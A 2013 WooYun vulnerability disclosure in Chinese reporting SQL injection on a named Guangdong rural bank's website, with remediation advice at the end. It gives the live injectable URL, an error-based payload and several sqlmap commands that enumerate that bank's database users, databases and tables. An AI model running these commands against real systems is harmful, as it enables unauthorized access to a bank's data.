漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2013-046013
漏洞标题:广东省某农村商业银行SQL注入漏洞
相关厂商:广东省某农村商业银行
漏洞作者: 0x334
提交时间:2013-12-15 14:32
修复时间:2013-12-20 14:32
公开时间:2013-12-20 14:32
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:11
漏洞状态:已交由第三方合作机构(广东省信息安全测评中心)处理
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2013-12-15: 细节已通知厂商并且等待厂商处理中
2013-12-20: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
广东省某农村商业银行SQL注入漏洞 ,可导致网站被入侵等。
form I-SOON Security Team。
详细说明:
广东省高明农村商业银行SQL注入漏洞
http://www.gmrbank.com.cn/cpjs/index_1167.aspx?cid=2%20and%20user%3E0
and user>0,我们知道,user是SQLServer的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。拿一个 nvarchar的值跟int的数0比较,系统会先试图将nvarchar的值转成int型,当然,转的过程中肯定会出错,SQLServer的出错提示 是:将nvarchar值 ”dbo” 转换数据类型为 int 的列时发生语法错误,呵呵,dbo正是变量user的值,这样,就拿到了数据库的用户名。
直接用sqlmap跑了,不用手工开始注了。
获取用户名
./sqlmap.py -u "www.gmrbank.com.cn/cpjs/index_1167.aspx?cid=2" --user-agent "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)" --users -v 0
./sqlmap.py -u "www.gmrbank.com.cn/cpjs/index_1167.aspx?cid=2" --user-agent "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)" –dbs –level 3 –risk 2
sqlmap.py -u "www.gmrbank.com.cn/cpjs/index_1167.aspx?cid=2" --user-agent "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)" -D hds01600734_db –tables
sqlmap.py -u "www.gmrbank.com.cn/cpjs/index_1167.aspx?cid=2" --user-agent "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)" -D master –tables
漏洞证明:
如上
修复方案:
解决SQL注入问题的关键是对所有可能来自用户输入的数据进行严格的检查、对数据库配置使用最小权限原则。
1. 所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。当前几乎所有的数据库系统都提供了参数化SQL语句执行接口,使用此接口可以非常有效的防止SQL注入攻击。
2. 对进入数据库的特殊字符('"\尖括号&*;等)进行转义处理,或编码转换。
3. 严格限制变量类型,比如整型变量就采用intval()函数过滤,数据库中的存储字段必须对应为int型。
4. 数据长度应该严格规定,能在一定程度上防止比较长的SQL注入语句无法正确执行。
5. 网站每个数据层的编码统一,建议全部使用UTF-8编码,上下层编码不一致有可能导致一些过滤模型被绕过。
6. 严格限制网站用户的数据库的操作权限,给此用户提供仅仅能够满足其工作的权限,从而最大限度的减少注入攻击对数据库的危害。
7. 避免网站显示SQL错误信息,比如类型错误、字段不匹配等,防止攻击者利用这些错误信息进行一些判断。
8. 在网站发布之前建议使用一些专业的SQL注入检测工具进行检测,及时修补这些SQL注入漏洞。
版权声明:转载请注明来源 0x334@乌云
漏洞回应
厂商回应:
危害等级:无影响厂商忽略
忽略时间:2013-12-20 14:32
厂商回复:
最新状态:
暂无